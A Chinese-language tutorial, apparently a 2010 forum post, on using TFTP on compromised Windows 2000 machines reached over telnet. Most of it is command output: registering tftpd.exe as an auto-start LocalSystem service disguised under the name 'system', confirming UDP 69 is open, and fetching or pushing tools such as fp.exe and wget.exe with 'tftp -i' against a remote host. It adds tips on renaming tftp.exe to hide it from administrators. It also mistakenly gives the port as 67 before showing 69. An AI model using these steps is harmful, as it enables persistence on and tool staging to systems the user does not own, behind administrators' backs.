日期:2010-12-28  浏览次数:20852 次

1. Tftp介绍
TFTP简介
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。TFTP承载在UDP上,提供不可靠的数据流传输服务,不提供存取授权与认证机制,使用超时重传方式来保证数据的到达。与FTP相比,TFTP的大小要小的多。现在最普遍使用的是第二版TFTP(TFTP Version 2,RFC 1350).

使用UDP 67端口!下面是fport.exe的结果
2000 tftpd -> 69 UDP c:\winnt\system32\tftpd.exe


2. 寻找tftp程序

C:\WINNT\system32>dir %windir%\tftp* /s
dir %windir%\tftp* /s //表示在%windir%目录所有子目录搜索tftp前缀程序
驱动器 C 中的卷没有标签。
卷的序列号是 D428-6BB5
C:\WINNT\system32 的目录
2000-01-10 12:00 17,168 tftp.exe //客户端 微软自带
2000-01-09 00:00 11,264 tftpd.exe //服务端 server版本以上才有
2 个文件 28,432 字节 pro没有
C:\WINNT\system32\dllcache 的目录
2000-01-10 12:00 17,168 tftp.exe
1 个文件 17,168 字节

3. 安装为服务

需要instsrv.exe程序

a.安装
C:\WINNT\system32>instsrv system %windir%\system32\tftpd.exe
instsrv system %windir%\system32\tftpd.exe

The service was successfuly added!
Make sure that you go into the Control Panel and use
the Services applet to change the Account Name and
Password that this newly installed service will use

b.查询
C:\WINNT\system32>sc qc system
sc qc system
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: system
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINNT\system32\tftpd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : system
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
c.启动
C:\WINNT\system32>net start system
net start system
system 服务正在启动 .
system 服务已经启动成功。

C:\WINNT\system32>sc query system
sc query system
SERVICE_NAME: system
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE,PAUSABLE,ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
d.查看端口是否开放!
C:\WINNT\system32>fp |find "tftp"
fp |find "tftp"
2000 tftpd -> 69 UDP c:\winnt\system32\tftpd.exe
C:\WINNT\system32>netstat -an |find "69"
netstat -an |find "69"
UDP 192.168.0.1:69 *:*
UDP 218.11.x.67:69 *:*
e.默认文件名称
当前驱动器的根目录
C:\WINNT\system32>dir %windir%\..\tftp* /ad //看见了吗?
dir %windir%\..\tftp* /ad
驱动器 C 中的卷没有标签。
卷的序列号是 D428-6BB5
C:\ 的目录
2002-12-19 09:27 <DIR> tftpdroot
0 个文件 0 字节
1 个目录 3,560,779,776 可用字节
C:\WINNT\system32>dir %windir%\..\tftpdroot
dir %windir%\..\tftpdroot
驱动器 C 中的卷没有标签。
卷的序列号是 D428-6BB5
C:\tftpdroot 的目录
2002-12-19 09:27 <DIR> .
2002-12-19 09:27 <DIR> ..
2002-11-30 14:12 941 slimftpd.conf
2002-10-22 11:00 1,642 settings.ini
2001-05-04 13:58 52,736 fp.exe

f.使用客户端程序
因为put就是默认到服务器的这个目录。 上传
get就是到当前运行的目录里面 下载
C:\WINNT\system32>tftp -i 218.11.x.67 get fp.exe
tftp -i 218.11.140.67 get fp.exe
Transfer successful: 52736 bytes in 1 second, 52736 bytes/s

对于小于500K的程序用这个上传下载,还不错哦。
因为telnet肉鸡。win2000基本上都有tftp.

exe 或者自己修改名称隐藏一个呀。
有的管理员要删除的哟!!

C:\WINNT\system32>tftp -i 218.11.x.67 put fp.exe
tftp -i 218.11.140.67 put fp.exe
Transfer successful: 52736 bytes in 1 second, 52736 bytes/s
//上面是上传到服务器。


4. 问题

因为目录是固定的。所以很容易被发现。只要找弱一点的机器开tftp服务了。
还有一个tftpd32.exe 是gui界面的 win98也可以自己开服务器的。压缩后23K

我一般就是上传wget.exe这样方便。

还有就是
C:\WINNT\system32>tftp -i 218.11.x.67 get fp.exe
tftp -i 218.11.140.67 get fp.exe
tftp: can t write to local file fp.exe

一般就是本地没有写文件权限 (echo a >b) &(type b) 这样测试权限
或者本地存在同名只读属性的文件。需要更新的话。请删除本地文件